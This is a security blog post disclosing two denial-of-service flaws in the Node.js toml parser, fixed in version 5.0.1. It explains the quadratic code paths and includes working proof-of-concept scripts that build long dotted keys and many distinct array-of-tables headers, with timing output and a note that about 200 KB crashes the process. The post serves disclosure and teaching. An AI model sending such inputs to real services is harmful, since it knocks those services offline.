DoS in toml Parser: Quadratic Parsing Lets One Document Stall a Node.js Process

Blog5 min read

SecDim Security Research reported CVE-2026-114143 and CVE-2026-114141, two DoS vulnerabilities in the toml parser for Node.js on 2026-09-11 and the vulnerabilities were subsequently fixed in toml 5.0.1. An unauthenticated attacker who can get one small TOML document parsed can block the Node.js event loop for seconds or crash the process.

The vulnerabilities

TOML is a simple text format for writing settings, such as a database address or a list of servers, in a way that is easy for people to read and edit. The toml package is a library for Node.js that reads such a text file and turns it into data that a program can use. Applications call it whenever they load a config file, an uploaded settings file or a project manifest.

title = "My app"

[database]
host = "localhost"
port = 5432

[[servers]]
name = "alpha"
ip = "10.0.0.1"

[[servers]]
name = "beta"
ip = "10.0.0.2"

toml.parse() reads a TOML document in two stages: a parser that builds a syntax tree, and a compiler that turns the tree into a JavaScript object. While compiling, the compiler keeps track of every path it has defined so far as plain strings, so it can reject a document that defines the same key twice. Both vulnerabilities come from how those strings are maintained.

CVE-2026-114143 (GHSA-9j65-hcg3-gc64): long dotted keys

A dotted key such as a.b.c = 1 is walked one segment at a time. On every segment, the compiler rebuilds the full path up to that point from scratch:

for (var i = 0; i < keys.length - 1; i++) {
  var k = keys[i];
  var intermediatePath = makeFullPath(keys.slice(0, i + 1));
  ...
}

Building the path for segment i costs i steps, so a key with 16,000 segments costs about 16,000 × 16,000 ÷ 2 steps instead of 16,000. The same pattern appears in table headers ([a.b.c]) and inline tables (t = { a.b.c = 1 }). The path string is only ever used if an error message has to be written, but it is built every time. Nothing limits the number of segments in a key, and the maxDepth option does not apply to key length.

CVE-2026-114141 (GHSA-4qx8-w7c3-pj3p): many array-of-tables headers

Every [[name]] header makes the compiler scan two sets that hold every path defined so far:

assignedPaths.forEach(function(p) {
  if (isSameOrSubPath(p, quotedPath)) assignedPaths.delete(p);
});
valueAssignments.forEach(function(p) {
  if (isSameOrSubPath(p, quotedPath)) valueAssignments.delete(p);
});

Entries that do not match are never removed, so the sets only grow. When each header has a different name, nothing is ever pruned, and header number n scans n entries. A document with 20,000 headers therefore costs about 20,000 × 20,000 ÷ 2 steps. A document where every header has the same name prunes itself and stays fast, which is how we confirmed that the set growth is the cause and not the size of the input.

Proof of concept

The first script times toml.parse() on a single dotted key with a growing number of segments, doubling it each time. A parser that scales linearly would take twice as long on each run.

const toml = require('toml');

function dottedKey(n) {
  const parts = [];
  for (let i = 0; i < n; i++) parts.push('k' + i);
  return parts.join('.') + ' = 1\n';
}

for (const n of [2000, 4000, 8000, 16000]) {
  const doc = dottedKey(n);
  const start = process.hrtime.bigint();
  toml.parse(doc);
  const s = Number(process.hrtime.bigint() - start) / 1e9;
  console.log(`${String(n).padStart(6)} segments  ${(doc.length / 1024).toFixed(0).padStart(4)} KB  ${s.toFixed(2)} s`);
}
  2000 segments    11 KB  0.08 s
  4000 segments    22 KB  0.28 s
  8000 segments    46 KB  1.03 s
 16000 segments    99 KB  4.06 s

Every time the key doubles in size, the parsing time roughly quadruples. At 32,000 segments (about 200 KB), the Node.js process runs out of memory and crashes with FATAL ERROR: Ineffective mark-compacts near heap limit - JavaScript heap out of memory, which cannot be caught.

The second script does the same for array-of-tables headers, using a different name for each header:

const toml = require('toml');

function arrayHeaders(n) {
  let out = '';
  for (let i = 0; i < n; i++) out += `[[a${i}]]\nv = 1\n`;
  return out;
}

for (const n of [5000, 10000, 20000]) {
  const doc = arrayHeaders(n);
  const start = process.hrtime.bigint();
  toml.parse(doc);
  const s = Number(process.hrtime.bigint() - start) / 1e9;
  console.log(`${String(n).padStart(6)} headers  ${(doc.length / 1024).toFixed(0).padStart(4)} KB  ${s.toFixed(2)} s`);
}
  5000 headers    77 KB  0.81 s
 10000 headers   155 KB  3.30 s
 20000 headers   321 KB  12.31 s

Double the headers and the time quadruples. In the advisory, 20,000 headers with the same name took 78 ms, compared to 10.3 s with 20,000 different names.

Impact

Exploitation requires an application that passes untrusted input to toml.parse(), such as a config upload, an API request body or an imported manifest. No authentication is needed, and the document does not need to be large: about 100 KB is enough for a multi-second hang, and about 200 KB crashes the process.

Node.js runs JavaScript on a single thread, so a synchronous parse() call blocks the whole event loop. Every other request that the process is handling waits until the parse finishes, and repeating the request keeps the service unavailable. In the dotted key case, the out-of-memory crash takes the process down entirely.

Advisory timeline

  • 2026-09-11: SecDim Security Research reports both vulnerabilities to the toml maintainer.
  • 2026-10-12: The maintainer pushes the fix (commit 609c873) with tests for both advisories (commit df2bd01).
  • 2026-10-12: toml 5.0.1 is released with the fix.
  • 2026-10-13: The advisories are published.

Fix status

The fix shipped in toml 5.0.1. The compiler no longer keeps sets of path strings. Instead, each table it creates is tagged with how the document defined it (header, implicit, dotted, inline or array of tables), and the redefinition rules read that tag directly.

References

Find, hack and fix this class of vulnerability in: SecDim DoS challenge

Original SecDim Research

See the full record and related learning material on the Zero-Day Research page.

Questions or comments? Discuss this post on SecDim Community →

Try it yourself

Find, Hack and Fix Your First Vulnerability

Reading about security bugs is one thing — fixing one is how the skill sticks. Play a free challenge from the wargame, no setup required.